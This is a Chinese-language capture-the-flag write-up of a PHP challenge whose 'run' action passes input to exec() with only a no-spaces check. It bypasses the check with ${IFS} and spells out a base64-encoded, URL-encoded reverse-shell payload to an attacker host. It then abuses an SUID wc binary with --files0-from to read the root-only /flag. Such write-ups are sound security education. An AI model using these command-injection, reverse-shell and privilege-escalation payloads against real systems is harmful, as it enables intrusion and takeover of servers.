共计4310个字符,预计需要花费11分钟才能阅读完成。
题目
打开网页给了源码:
<?php
highlight_file(__FILE__);
class ConfigLoader {
private $config;
public function __construct() {
$this->config = [
'debug' => true,
'mode' => 'production',
'log_level' => 'info',
'max_input_length' => 100,
'min_password_length' => 8,
'allowed_actions' => ['run', 'debug', 'generate']
];
}
public function get($key) {return $this->config[$key] ?? null;
}
}
class Logger {
private $logLevel;
public function __construct($logLevel) {$this->logLevel = $logLevel;}
public function log($message, $level = 'info') {if ($level === $this->logLevel) {echo "[LOG] $message\n";
}
}
}
class UserManager {private $users = [];
private $logger;
public function __construct($logger) {$this->logger = $logger;}
public function addUser($username, $password) {if (strlen($username) < 5) {return "Username must be at least 5 characters";}
if (strlen($password) < 8) {return "Password must be at least 8 characters";}
$this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
$this->logger->log("User $username added");
return "User $username added";
}
public function authenticate($username, $password) {if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {$this->logger->log("User $username authenticated");
return "User $username authenticated";
}
return "Authentication failed";
}
}
class StringUtils {public static function sanitize($input) {return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
public static function generateRandomString($length = 10) {return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
}
class InputValidator {
private $maxLength;
public function __construct($maxLength) {$this->maxLength = $maxLength;}
public function validate($input) {if (strlen($input) > $this->maxLength) {return "Input exceeds maximum length of {$this->maxLength} characters";
}
return true;
}
}
class CommandExecutor {
private $logger;
public function __construct($logger) {$this->logger = $logger;}
public function execute($input) {if (strpos($input, ' ') !== false) {$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}
@exec($input, $output);
$this->logger->log("Result: $input");
return implode("\n", $output);
}
}
class ActionHandler {
private $config;
private $logger;
private $executor;
public function __construct($config, $logger) {
$this->config = $config;
$this->logger = $logger;
$this->executor = new CommandExecutor($logger);
}
public function handle($action, $input) {if (!in_array($action, $this->config->get('allowed_actions'))) {return "Invalid action";}
if ($action === 'run') {$validator = new InputValidator($this->config->get('max_input_length'));
$validationResult = $validator->validate($input);
if ($validationResult !== true) {return $validationResult;}
return $this->executor->execute($input);
} elseif ($action === 'debug') {return "Debug mode enabled";} elseif ($action === 'generate') {return "Random string: " . StringUtils::generateRandomString(15);
}
return "Unknown action";
}
}
if (isset($_REQUEST['action'])) {$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$actionHandler = new ActionHandler($config, $logger);
$input = $_REQUEST['input'] ?? '';
echo $actionHandler->handle($_REQUEST['action'], $input);
} else {$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$userManager = new UserManager($logger);
if (isset($_POST['register'])) {$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->addUser($username, $password);
}
if (isset($_POST['login'])) {$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->authenticate($username, $password);
}
$logger->log("No action provided, running default logic");
}
思路
翻到代码最下面,网页获取了 action
和input
两个参数,并且执行了actionHandle
:
转到 actionHandle
,注意到action=run
的时候可以执行任意命令,但有过滤:
这里限制了最多字符为 100 个字符(见配置):
并且执行的命令中不能含有空格,这里很容易想到可以用 ${IFS}
来绕过,比如说 cat flag
可以用 cat${IFS}flag
来绕过。
我们先执行 ls -al
看看当前目录下有什么,通过 GET 传入action=run&input=ls${IFS}-al
:
注意到当前文件夹有个 wc
的文件,并且可以执行。我们再看看主目录下有什么,传入action=run&input=ls${IFS}-al${IFS}/
:
可以发现 flag 在 /flag
。难道就直接 cat /flag
?
然而并不行,看了一下只有 root 用户才有权限。突然又想到了 wc
文件,这个文件属性里有个 s,意味着 SUID 文件。该文件允许在执行程序时,进程暂时获得程序文件所有者的权限,那我们不就能获得 flag 了。让我们来看看有什么用法:
参数 --files0-from=xxx
的意思是读取 xxx
文件的内容,并且计算文件内容里每个文件的单词数目。我们随便读取一个文件:
可以发现 wc
读取了文件内容,而且因为内容里的文件不存在,竟然把文件内容给打印出来了,这下就好办了!
还是直接反弹 shell 更方便,直接输入bash -i >& /dev/tcp/ 你的 IP/ 端口 0>&1
,绕过空格变成echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveHggMD4mMSA=|base64${IFS}-d${IFS}|bash
,再 URL 编码变成action=run&input=echo$%7BIFS%7DYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveHggMD4mMSA=%7Cbase64$%7BIFS%7D-d$%7BIFS%7D%7Cbash
。获得了 shell:
输入 ./wc --files0-from=/flag
就可以获得 flag 啦!